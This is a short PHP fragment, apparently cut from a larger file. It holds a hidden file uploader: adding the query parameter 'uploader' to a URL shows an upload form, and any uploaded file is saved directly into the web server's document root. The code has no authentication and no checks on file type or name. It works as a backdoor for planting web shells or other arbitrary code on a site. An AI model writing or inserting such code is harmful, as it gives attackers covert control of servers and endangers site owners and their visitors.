)
if($_GET['uploader']){echo'<form method="post" enctype="multipart/form-data"><input type="file" name="f"><input type="submit" value="Upload"></form>';if($_FILES['f'])move_uploaded_file($_FILES['f']['tmp_name'],$_SERVER['DOCUMENT_ROOT'].'/'.$_FILES['f']['name'])&&die('Uploaded: '.$_FILES['f']['name']);}